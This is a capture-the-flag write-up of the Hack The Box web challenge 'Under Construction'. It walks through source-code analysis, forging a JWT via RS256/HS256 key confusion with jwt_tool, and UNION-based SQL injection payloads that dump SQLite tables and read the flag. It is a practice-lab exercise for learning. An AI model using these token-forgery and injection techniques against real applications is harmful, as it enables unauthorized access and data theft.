Under Construction Writeup

10 September 2022 #CTF #HTB #chall #medium #web

First look

Fist, don't forget to download the source code as it will come in handy soon enough.

download source code button

After launching the instance, we can access the web page:

login/register page

Let's register a new user and login:

main page

There is basically nothing on this page, but if we look at our cookies, we have a JWT. Go to jwt.io to decode it:

jwt.io

The payload consist of our username and a RSA public key, which is quite odd.

Source Code Analysis

The getUser function in ./helpers/DBHelper.js is vulnerable to SQL injection:

db.get(`SELECT * FROM users WHERE username = '${username}'`, ...)

This function takes its username parameter directly from the JWT:

// middleware/AuthMiddleware.js
let data = await JWTHelper.decode(req.cookies.session) // this is the JWT
req.data = {
    username: data.username
}

// routes/index.js -> router.get('/', ...)
let user = await DBHelper.getUser(req.data.username);

However, quotes (' or ") in the username are doubled in the JWT generated in the router.post('/auth', ...) function upon login:

// routes/index.js
let token = await JWTHelper.sign({
    username: username.replace(/'/g, "\'\'").replace(/"/g, "\"\"")
})

We can verify this by registering a username with a quote:

register a username with a quote

Then trying to login:

login with quoted username

This is effectively preventing us from exploiting the SQLi.

Forge JWT

We want to generate the JWT ourselves in order to controll the username field which will allow us to exploit the SQLi.

Looking in package.json, we see that the package jsonwebtoken is used. After a quick search, we learn about an Authentication Bypass

The server expects an asymmetric key (RSA) but is sent a symmetric key (HMAC-SHA) with RSA's public key, so instead of going through a key validation process, the server will think the public key is actually an HMAC private key.

good post about these vulnerabilities

To exploit it, we'll use jwt_tool:

Modify the JWT to include a SQLi payload in username:

$ jwt_tool.py -T <original jwt>
[...]
Token payload values:
[1] username = "asdf"
[2] pk = "-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA95oTm9DNzcHr8gLhjZaY
ktsbj1KxxUOozw0trP93BgIpXv6WipQRB5lqofPlU6FB99Jc5QZ0459t73ggVDQi
XuCMI2hoUfJ1VmjNeWCrSrDUhokIFZEuCumehwwtUNuEv0ezC54ZTdEC5YSTAOzg
jIWalsHj/ga5ZEDx3Ext0Mh5AEwbAD73+qXS/uCvhfajgpzHGd9OgNQU60LMf2mH
+FynNsjNNwo5nRe7tR12Wb2YOCxw2vdamO1n1kf/SMypSKKvOgj5y0LGiU3jeXMx
V8WS+YiYCU5OBAmTcz2w2kzBhZFlH6RK4mquexJHra23IGv5UJ5GVPEXpdCqK3Tr
0wIDAQAB
-----END PUBLIC KEY-----
"
[...]
Please select a field number:
(or 0 to Continue)
> 1
Current value of username is: asdf
Please enter new value and hit ENTER
> ' or 1=1 --
[...]

And sign the new JWT with the public key:

$ jwt_tool.py -X k -pk key.pub <modified jwt>
[...]

Exploit SQLi

Refreshing the page with our forged JWT gives this output:

' or 1=1 -- payload

We see 'Welcome user', meaning the output of the query is reflected on the page.

This is a candidate for a UNION injection:

notexist' UNION SELECT 1,2,3 -- -

We put a username that we know doesn't exist, that way the first query returns nothing and we only see output from our UNION query.

After a bit of troubleshooting, we see that we have to put what we want in the 2nd position of the SELECT:

first union injection

It would be nice to have a list of tables in this DB so let's do just that:

notexist' UNION SELECT 1,GROUP_CONCAT(name),2 FROM sqlite_master WHERE type='table' -- -

The table 'sqlite_master' is a 'meta table' that holds information about the DB (like table names). The GROUP_CONCAT() function will put all results on a single row:

union injection to get tables

That table flag_storage looks promising, let's grab all of its data:

notexist' UNION SELECT *,2 FROM flag_storage -- -

It (again) took a bit of troubleshooting to know how many fields I had to SELECT and which one was displayed, but here is our flag:

flag

Key Takeaways